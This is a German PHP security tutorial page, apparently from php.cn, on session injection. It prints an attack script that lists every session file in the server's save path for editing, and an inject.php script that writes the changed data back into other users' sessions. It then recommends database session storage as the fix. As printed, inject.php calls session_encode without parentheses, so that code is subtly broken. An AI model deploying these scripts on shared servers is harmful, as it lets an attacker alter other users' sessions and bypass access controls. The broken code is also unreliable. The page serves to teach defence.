Heim > Artikel > Backend-Entwicklung > PHP-Sicherheit – Sitzungsinjektion
Ein ähnliches Problem wie die Sitzungsexposition ist die Sitzungsinjektion. Diese Art von Angriff basiert darauf, dass Ihr WEB-Server nicht nur über Leseberechtigungen für das Sitzungsspeicherverzeichnis, sondern auch über Schreibberechtigungen verfügt. Daher ist es möglich, ein Skript zu schreiben, das es anderen Benutzern ermöglicht, Sitzungen hinzuzufügen, zu bearbeiten oder zu löschen. Das folgende Beispiel zeigt ein HTML-Formular, mit dem Benutzer vorhandene Sitzungsdaten einfach bearbeiten können:
<?php session_start(); ?> <form action="inject.php" method="POST"> <?php $path = ini_get('session.save_path'); $handle = dir($path); while ($filename = $handle->read()) { if (substr($filename, 0, 5) == 'sess_') { $sess_data = file_get_contents("$path/$filename"); if (!empty($sess_data)) { session_decode($sess_data); $sess_data = $_SESSION; $_SESSION = array(); $sess_name = substr($filename, 5); $sess_name = htmlentities($sess_name, ENT_QUOTES, 'UTF-8'); echo "<h1>Session [$sess_name]</h1>"; foreach ($sess_data as $name => $value) { $name = htmlentities($name, ENT_QUOTES, 'UTF-8'); $value = htmlentities($value, ENT_QUOTES, 'UTF-8'); echo "<p> $name: <input type=\"text\" name=\"{$sess_name}[{$name}]\" value=\"$value\" /> </p>"; } echo '<br />'; } } } $handle->close(); ?> <input type="submit" /> </form>
Das Skript inject.php führt die in der Form angegebenen Änderungen durch:
<?php session_start(); $path = ini_get('session.save_path'); foreach ($_POST as $sess_name => $sess_data) { $_SESSION = $sess_data; $sess_data = session_encode; file_put_contents("$path/$sess_name", $sess_data); } $_SESSION = array(); ?>
Solche Angriffe sind äußerst gefährlich. Ein Angreifer kann nicht nur die Daten Ihrer Benutzer, sondern auch seine eigenen Sitzungsdaten bearbeiten. Es ist leistungsfähiger als Session Hijacking, da der Angreifer alle Sitzungsdaten zur Änderung auswählen kann, wodurch Zugriffsbeschränkungen und andere Sicherheitsmaßnahmen umgangen werden können.
Die beste Lösung für dieses Problem besteht darin, die Sitzungsdaten in einer Datenbank zu speichern. Siehe im vorherigen Abschnitt gezeigt.
Das Obige ist der Inhalt der PHP-Sicherheitssitzungsinjektion. Weitere verwandte Inhalte finden Sie auf der chinesischen PHP-Website (www.php.cn). !